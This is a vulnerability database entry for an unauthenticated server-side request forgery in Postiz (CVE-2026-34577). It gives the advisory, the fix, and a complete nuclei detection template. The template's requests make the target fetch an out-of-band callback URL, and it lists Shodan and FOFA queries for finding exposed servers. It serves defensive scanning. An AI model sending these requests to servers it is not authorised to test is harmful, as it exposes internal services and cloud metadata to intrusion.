Browse / CVEs / CVE-2026-34577
CVE-2026-34577· gitroomhq / postiz· CWE-918
Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery
highseverity
8.6CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it
Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.
Impact
An unauthenticated attacker can read internal HTTP services and cloud metadata through the Postiz server.
Fix
Upgrade to Postiz 2.21.3 or later, which rejects unsafe URLs and requires public HTTPS destinations.
How to confirm it
Send: GET {{BaseURL}}/auth
Positive when: matches /(?i)<title>Postiz[^<]*</title>/
Send: GET {{BaseURL}}/api/public/stream?url=http://{{interactsh-url}}/x.mp4 ; GET {{BaseURL}}/public/stream?url=http://{{interactsh-url}}/x.mp4
Positive when: status_code == 200 and interactsh_protocol == "http" and contains(interactsh_request, "/x.mp4")Run it with nuclei: nuclei -id CVE-2026-34577 -u <target>
The full check
id: CVE-2026-34577
info:
name: Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery
author: ashish-cybersec
severity: high
description: |
Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.
impact: |
An unauthenticated attacker can read internal HTTP services and cloud metadata through the Postiz server.
remediation: |
Upgrade to Postiz 2.21.3 or later, which rejects unsafe URLs and requires public HTTPS destinations.
reference:
- https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539
- https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3
- https://nvd.nist.gov/vuln/detail/CVE-2026-34577
classification:
cve-id: CVE-2026-34577
epss-score: 0.00482
epss-percentile: 0.41892
cwe-id: CWE-918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
metadata:
verified: true
max-request: 2
vendor: gitroomhq
product: postiz
shodan-query: 'html:"Postiz Register"'
fofa-query: 'title="Postiz Register"'
tags: cve,cve2026,postiz,ssrf,oast,unauth,gitroomhq
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/auth"
matchers:
- type: regex
part: body
regex:
- '(?i)<title>Postiz[^<]*</title>'
internal: true
- method: GET
path:
- "{{BaseURL}}/api/public/stream?url=http://{{interactsh-url}}/x.mp4"
- "{{BaseURL}}/public/stream?url=http://{{interactsh-url}}/x.mp4"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'interactsh_protocol == "http"'
- 'contains(interactsh_request, "/x.mp4")'
condition: andReferences
- https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539
- https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3
- https://nvd.nist.gov/vuln/detail/CVE-2026-34577
Use this check only on systems you are authorised to test. Where the data comes from